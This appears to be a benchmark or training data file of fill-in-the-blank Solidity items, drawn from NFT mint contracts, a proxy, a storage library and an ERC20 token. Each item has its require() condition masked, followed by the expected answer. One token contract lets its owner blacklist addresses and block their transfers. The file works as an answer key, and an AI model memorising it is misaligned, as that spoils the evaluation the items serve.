* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(uint256 version, address implementation) public onlyUpgradeabilityOwner {
}
/**
* @dev Allows the upgradeability owner to upgrade the current version of the proxy and call the new implementation
* to initialize whatever is needed through a low level call.
* @param version representing the version name of the new implementation to be set.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(uint256 version, address implementation, bytes data)
external
payable
onlyUpgradeabilityOwner
{
upgradeTo(version, implementation);
// solhint-disable-next-line avoid-call-value
require(<FILL_ME>)
}
}
| address(this).call.value(msg.value)(data) | 207,540 | address(this).call.value(msg.value)(data) |
"Not enough NFTs left to mint.." | pragma solidity >=0.8.9 <0.9.0;
contract dinofrogs is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 private maxTotalTokens;
//boring stuff
string private _currentBaseURI;
//How many reserved we keep.
uint private _reservedMints;
//the max amount of reserved for the dev wallter for stuff and things.
uint private maxReservedMints = 222;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {WeAreDinoFrogs, YouWishYouCouldMint}
State private saleState_;
//declaring initial values for variables
constructor() ERC721A('dinofrogs', 'df') {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() payable external {}
fallback() payable external {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//if we mess up, let's us fix it
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function setSaleState(uint newSaleState) public onlyOwner {
}
//mint a @param number of NFTs in public sale
function mint() public nonReentrant {
require(msg.sender == tx.origin, "Sender is not the same as origin!");
require(saleState_ == State.YouWishYouCouldMint, "Public Sale in not open yet!");
require(<FILL_ME>)
require(mintsPerAddress[msg.sender] == 0, "Wallet has already have minted an NFT!");
_safeMint(msg.sender, 2);
mintsPerAddress[msg.sender] += 2;
}
function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) {
}
//reserved NFTs for creator
function reservedMint(uint number, address recipient) public onlyOwner {
}
//burn
function burnTokens() public onlyOwner {
}
//
function accountBalance() public onlyOwner view returns(uint) {
}
//retrieve all funds recieved from minting
function withdraw() public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//to see the total amount of reserved mints left
function reservedMintsLeft() public onlyOwner view returns(uint) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns(State){
}
}
| totalSupply()<maxTotalTokens-(maxReservedMints-_reservedMints),"Not enough NFTs left to mint.." | 207,556 | totalSupply()<maxTotalTokens-(maxReservedMints-_reservedMints) |
"Wallet has already have minted an NFT!" | pragma solidity >=0.8.9 <0.9.0;
contract dinofrogs is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 private maxTotalTokens;
//boring stuff
string private _currentBaseURI;
//How many reserved we keep.
uint private _reservedMints;
//the max amount of reserved for the dev wallter for stuff and things.
uint private maxReservedMints = 222;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {WeAreDinoFrogs, YouWishYouCouldMint}
State private saleState_;
//declaring initial values for variables
constructor() ERC721A('dinofrogs', 'df') {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() payable external {}
fallback() payable external {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//if we mess up, let's us fix it
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function setSaleState(uint newSaleState) public onlyOwner {
}
//mint a @param number of NFTs in public sale
function mint() public nonReentrant {
require(msg.sender == tx.origin, "Sender is not the same as origin!");
require(saleState_ == State.YouWishYouCouldMint, "Public Sale in not open yet!");
require(totalSupply() < maxTotalTokens - (maxReservedMints - _reservedMints), "Not enough NFTs left to mint..");
require(<FILL_ME>)
_safeMint(msg.sender, 2);
mintsPerAddress[msg.sender] += 2;
}
function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) {
}
//reserved NFTs for creator
function reservedMint(uint number, address recipient) public onlyOwner {
}
//burn
function burnTokens() public onlyOwner {
}
//
function accountBalance() public onlyOwner view returns(uint) {
}
//retrieve all funds recieved from minting
function withdraw() public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//to see the total amount of reserved mints left
function reservedMintsLeft() public onlyOwner view returns(uint) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns(State){
}
}
| mintsPerAddress[msg.sender]==0,"Wallet has already have minted an NFT!" | 207,556 | mintsPerAddress[msg.sender]==0 |
"Not enough Reserved NFTs left to mint.." | pragma solidity >=0.8.9 <0.9.0;
contract dinofrogs is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 private maxTotalTokens;
//boring stuff
string private _currentBaseURI;
//How many reserved we keep.
uint private _reservedMints;
//the max amount of reserved for the dev wallter for stuff and things.
uint private maxReservedMints = 222;
//amount of mints that each address has executed
mapping(address => uint256) public mintsPerAddress;
//current state os sale
enum State {WeAreDinoFrogs, YouWishYouCouldMint}
State private saleState_;
//declaring initial values for variables
constructor() ERC721A('dinofrogs', 'df') {
}
//in case somebody accidentaly sends funds or transaction to contract
receive() payable external {}
fallback() payable external {
}
//visualize baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//if we mess up, let's us fix it
function changeBaseURI(string memory baseURI_) public onlyOwner {
}
function setSaleState(uint newSaleState) public onlyOwner {
}
//mint a @param number of NFTs in public sale
function mint() public nonReentrant {
}
function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) {
}
//reserved NFTs for creator
function reservedMint(uint number, address recipient) public onlyOwner {
require(<FILL_ME>)
_safeMint(recipient, number);
mintsPerAddress[recipient] += number;
_reservedMints += number;
}
//burn
function burnTokens() public onlyOwner {
}
//
function accountBalance() public onlyOwner view returns(uint) {
}
//retrieve all funds recieved from minting
function withdraw() public onlyOwner {
}
//send the percentage of funds to a shareholder´s wallet
function _withdraw(address payable account, uint256 amount) internal {
}
//to see the total amount of reserved mints left
function reservedMintsLeft() public onlyOwner view returns(uint) {
}
//see current state of sale
//see the current state of the sale
function saleState() public view returns(State){
}
}
| _reservedMints+number<=maxReservedMints,"Not enough Reserved NFTs left to mint.." | 207,556 | _reservedMints+number<=maxReservedMints |
"ALREADY_SET" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
/*
Library to provide basic storage, in storage location out of the low linear address space.
New types of storage variables should be added here upon need.
*/
library NamedStorage {
function bytes32ToUint256Mapping(string memory tag_)
internal
pure
returns (mapping(bytes32 => uint256) storage randomVariable)
{
}
function bytes32ToAddressMapping(string memory tag_)
internal
pure
returns (mapping(bytes32 => address) storage randomVariable)
{
}
function uintToAddressMapping(string memory tag_)
internal
pure
returns (mapping(uint256 => address) storage randomVariable)
{
}
function addressToBoolMapping(string memory tag_)
internal
pure
returns (mapping(address => bool) storage randomVariable)
{
}
function getUintValue(string memory tag_) internal view returns (uint256 retVal) {
}
function setUintValue(string memory tag_, uint256 value) internal {
}
function setUintValueOnce(string memory tag_, uint256 value) internal {
require(<FILL_ME>)
setUintValue(tag_, value);
}
function getAddressValue(string memory tag_) internal view returns (address retVal) {
}
function setAddressValue(string memory tag_, address value) internal {
}
function setAddressValueOnce(string memory tag_, address value) internal {
}
function getBoolValue(string memory tag_) internal view returns (bool retVal) {
}
function setBoolValue(string memory tag_, bool value) internal {
}
}
| getUintValue(tag_)==0,"ALREADY_SET" | 207,909 | getUintValue(tag_)==0 |
"ALREADY_SET" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
/*
Library to provide basic storage, in storage location out of the low linear address space.
New types of storage variables should be added here upon need.
*/
library NamedStorage {
function bytes32ToUint256Mapping(string memory tag_)
internal
pure
returns (mapping(bytes32 => uint256) storage randomVariable)
{
}
function bytes32ToAddressMapping(string memory tag_)
internal
pure
returns (mapping(bytes32 => address) storage randomVariable)
{
}
function uintToAddressMapping(string memory tag_)
internal
pure
returns (mapping(uint256 => address) storage randomVariable)
{
}
function addressToBoolMapping(string memory tag_)
internal
pure
returns (mapping(address => bool) storage randomVariable)
{
}
function getUintValue(string memory tag_) internal view returns (uint256 retVal) {
}
function setUintValue(string memory tag_, uint256 value) internal {
}
function setUintValueOnce(string memory tag_, uint256 value) internal {
}
function getAddressValue(string memory tag_) internal view returns (address retVal) {
}
function setAddressValue(string memory tag_, address value) internal {
}
function setAddressValueOnce(string memory tag_, address value) internal {
require(<FILL_ME>)
setAddressValue(tag_, value);
}
function getBoolValue(string memory tag_) internal view returns (bool retVal) {
}
function setBoolValue(string memory tag_, bool value) internal {
}
}
| getAddressValue(tag_)==address(0x0),"ALREADY_SET" | 207,909 | getAddressValue(tag_)==address(0x0) |
"Your address has been marked as a sniper, you are unable to transfer or swap." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";
import "./IUniswapV2Factory.sol";
/*
<> Terra Inu <>
Website - https://terrainu.org/
Telegram - https://t.me/Terrainueth
*/
contract TerraInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
mapping (address => bool) private _isBlacklisted;
bool private _swapping;
uint256 private _launchTime;
address private feeWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public earlySellActive = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public totalFees;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _tokensForMarketing;
uint256 private _tokensForLiquidity;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedMaxTransactionAmount;
// To watch for early sells
mapping (address => uint256) private _holderFirstBuyTimestamp;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) private automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event feeWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor() ERC20("Terra Inu", "TINU") {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
}
// disable early selling tax
function disableEarlySells() external onlyOwner returns (bool) {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) {
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function updateFees(uint256 marketingFee, uint256 liquidityFee) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateFeeWallet(address newWallet) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setBlacklisted(address[] memory blacklisted_) public onlyOwner {
}
function delBlacklisted(address[] memory blacklisted_) public onlyOwner {
}
function isSniper(address addr) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (block.timestamp <= _launchTime) _isBlacklisted[to] = true;
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_swapping
) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// set first time buy timestamp
if (balanceOf(to) == 0 && _holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
// when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
// when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!_swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
_swapping = true;
swapBack();
_swapping = false;
}
bool takeFee = !_swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (
automatedMarketMakerPairs[to]
&& earlySellActive
&& _holderFirstBuyTimestamp[from] != 0
&& (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)
) {
uint256 earlyLiquidityFee = 8;
uint256 earlyMarketingFee = 5;
uint256 earlyTotalFees = earlyMarketingFee.add(earlyLiquidityFee);
fees = amount.mul(earlyTotalFees).div(100);
_tokensForLiquidity += fees * earlyLiquidityFee / earlyTotalFees;
_tokensForMarketing += fees * earlyMarketingFee / earlyTotalFees;
} else {
fees = amount.mul(totalFees).div(100);
_tokensForLiquidity += fees * _liquidityFee / totalFees;
_tokensForMarketing += fees * _marketingFee / totalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function forceSwap() external onlyOwner {
}
function forceSend() external onlyOwner {
}
receive() external payable {}
}
| !_isBlacklisted[from],"Your address has been marked as a sniper, you are unable to transfer or swap." | 208,007 | !_isBlacklisted[from] |
"Over MaxPerWallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "tiny-erc721/contracts/TinyERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract ShinseiJidai is TinyERC721, Ownable {
string public baseURI;
address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public lead;
bool public publicPaused = true;
uint256 public cost = 0.004 ether;
uint256 public maxSupply = 210;
uint256 public maxPerWallet = 2;
uint256 public maxPerTx = 2;
address public contractV1;
uint256 supply = totalSupply();
mapping(address => uint) public addressMintedBalance;
constructor(
string memory _baseURI,
address _lead,
address _contractV1
)TinyERC721("Shinsei Jidai", "SIJI", 0) {
}
modifier publicnotPaused() {
}
modifier callerIsUser() {
}
function setContractV1Address(address _contractV1) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
}
function togglePublic(bool _state) external onlyOwner {
}
function Team(uint256 _quanitity) public onlyOwner {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function setmaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setmaxPerWalletPublic(uint256 _MPW) public onlyOwner {
}
function setmaxPerTxPublic(uint256 _MPTx) public onlyOwner {
}
function Mint(uint256 _quantity)
public
payable
publicnotPaused()
callerIsUser()
{
uint256 supply = totalSupply();
require(msg.value >= cost * _quantity, "Not Enough Ether");
require(_quantity <= maxPerTx, "Over Tx Limit");
require(_quantity + supply <= maxSupply, "SoldOut");
require(<FILL_ME>)
addressMintedBalance[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
function withdraw() public onlyOwner {
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| addressMintedBalance[msg.sender]<maxPerWallet,"Over MaxPerWallet" | 208,116 | addressMintedBalance[msg.sender]<maxPerWallet |
"Can't mint more than max free quantity tokens!" | contract PixelBears is IERC2981, ERC721, DefaultOperatorFilterer721 {
bool private _whitelistEnabled;
bool private _publicEnabled;
uint private _supply;
uint private _whitelistSalePrice;
uint private _publicSalePrice;
address private _whitelistSigner;
uint private _EIP2981RoyaltyPercentage;
uint public maxFreeMint = 20;
mapping(address => uint) public whitelistMinted;
mapping(address => uint) public freeAmountMinted;
event WhitelistSalePriceChanged(uint indexed prevPrice, uint indexed newPrice);
event PublicSalePriceChanged(uint indexed prevPrice, uint indexed newPrice);
event EIP2981RoyaltyPercentageChanged(uint indexed prevRoyalty, uint indexed newRoyalty);
constructor(
address _openseaProxyRegistry,
uint supply,
uint whitelistSalePrice,
uint publicSalePrice,
uint EIP2981RoyaltyPercentage,
address whitelistSigner,
string memory _baseURI
) ERC721(_openseaProxyRegistry, _baseURI) {
}
function mintFromReserve(address to) external onlyOwner {
}
function getMintingInfo() external view returns(
uint supply,
uint publicSalePrice,
uint whitelistSalePrice,
uint EIP2981RoyaltyPercentage
) {
}
function setWhitelistPrice(uint priceInWei) external onlyOwner {
}
function setPublicSalePrice(uint priceInWei) external onlyOwner {
}
function setMaxFreeMint(uint _maxFreeMint) external onlyOwner {
}
function setWhitelistSigner(address whitelistSigner) external onlyOwner {
}
/**
* @notice In basis points (parts per 10K). Eg. 500 = 5%
*/
function setEIP2981RoyaltyPercentage(uint percentage) external onlyOwner {
}
modifier mintFunc(uint16 qty, uint supply, uint price) {
}
function mint(uint16 qty) external payable mintFunc(qty, _supply, _publicSalePrice) {
require(_publicEnabled, "Public minting is not enabled!");
if (_publicSalePrice == 0) {
require(<FILL_ME>)
freeAmountMinted[msg.sender] += qty;
}
_supply -= qty;
_mintQty(qty, msg.sender);
}
function whitelistMint(bytes calldata sig, uint16 qty, uint16 maxQty) external payable mintFunc(qty, _supply, _whitelistSalePrice) {
}
function _isWhitelisted(address _wallet, uint16 _maxQty, bytes memory _signature) private view returns(bool) {
}
function isWhitelisted(address _wallet, uint16 _maxQty, bytes memory _signature) external view returns(bool) {
}
function getSalesStatus() external view returns(bool whitelistEnabled, bool publicEnabled, uint whitelistSalePrice, uint publicSalePrice) {
}
/**
* @notice returns royalty info for EIP2981 supporting marketplaces
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint tokenId, uint salePrice) external view override returns(address receiver, uint256 royaltyAmount) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function withdraw() onlyOwner external {
}
function toggleWhitelistSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function setOperaterFilterBypass(address sender, bool approved) external onlyOwner {
}
function tokensOfOwner(address owner) external view returns(uint[] memory) {
}
}
| freeAmountMinted[msg.sender]+qty<=maxFreeMint,"Can't mint more than max free quantity tokens!" | 208,181 | freeAmountMinted[msg.sender]+qty<=maxFreeMint |
"User not whitelisted!" | contract PixelBears is IERC2981, ERC721, DefaultOperatorFilterer721 {
bool private _whitelistEnabled;
bool private _publicEnabled;
uint private _supply;
uint private _whitelistSalePrice;
uint private _publicSalePrice;
address private _whitelistSigner;
uint private _EIP2981RoyaltyPercentage;
uint public maxFreeMint = 20;
mapping(address => uint) public whitelistMinted;
mapping(address => uint) public freeAmountMinted;
event WhitelistSalePriceChanged(uint indexed prevPrice, uint indexed newPrice);
event PublicSalePriceChanged(uint indexed prevPrice, uint indexed newPrice);
event EIP2981RoyaltyPercentageChanged(uint indexed prevRoyalty, uint indexed newRoyalty);
constructor(
address _openseaProxyRegistry,
uint supply,
uint whitelistSalePrice,
uint publicSalePrice,
uint EIP2981RoyaltyPercentage,
address whitelistSigner,
string memory _baseURI
) ERC721(_openseaProxyRegistry, _baseURI) {
}
function mintFromReserve(address to) external onlyOwner {
}
function getMintingInfo() external view returns(
uint supply,
uint publicSalePrice,
uint whitelistSalePrice,
uint EIP2981RoyaltyPercentage
) {
}
function setWhitelistPrice(uint priceInWei) external onlyOwner {
}
function setPublicSalePrice(uint priceInWei) external onlyOwner {
}
function setMaxFreeMint(uint _maxFreeMint) external onlyOwner {
}
function setWhitelistSigner(address whitelistSigner) external onlyOwner {
}
/**
* @notice In basis points (parts per 10K). Eg. 500 = 5%
*/
function setEIP2981RoyaltyPercentage(uint percentage) external onlyOwner {
}
modifier mintFunc(uint16 qty, uint supply, uint price) {
}
function mint(uint16 qty) external payable mintFunc(qty, _supply, _publicSalePrice) {
}
function whitelistMint(bytes calldata sig, uint16 qty, uint16 maxQty) external payable mintFunc(qty, _supply, _whitelistSalePrice) {
require(_whitelistEnabled, "Whitelist sale is not enabled!");
require(<FILL_ME>)
require(whitelistMinted[msg.sender] + qty <= maxQty, "Can't mint more than whitelisted amount of tokens!");
_supply -= qty;
whitelistMinted[msg.sender] += qty;
_mintQty(qty, msg.sender);
}
function _isWhitelisted(address _wallet, uint16 _maxQty, bytes memory _signature) private view returns(bool) {
}
function isWhitelisted(address _wallet, uint16 _maxQty, bytes memory _signature) external view returns(bool) {
}
function getSalesStatus() external view returns(bool whitelistEnabled, bool publicEnabled, uint whitelistSalePrice, uint publicSalePrice) {
}
/**
* @notice returns royalty info for EIP2981 supporting marketplaces
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint tokenId, uint salePrice) external view override returns(address receiver, uint256 royaltyAmount) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function withdraw() onlyOwner external {
}
function toggleWhitelistSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function setOperaterFilterBypass(address sender, bool approved) external onlyOwner {
}
function tokensOfOwner(address owner) external view returns(uint[] memory) {
}
}
| _isWhitelisted(msg.sender,maxQty,sig),"User not whitelisted!" | 208,181 | _isWhitelisted(msg.sender,maxQty,sig) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.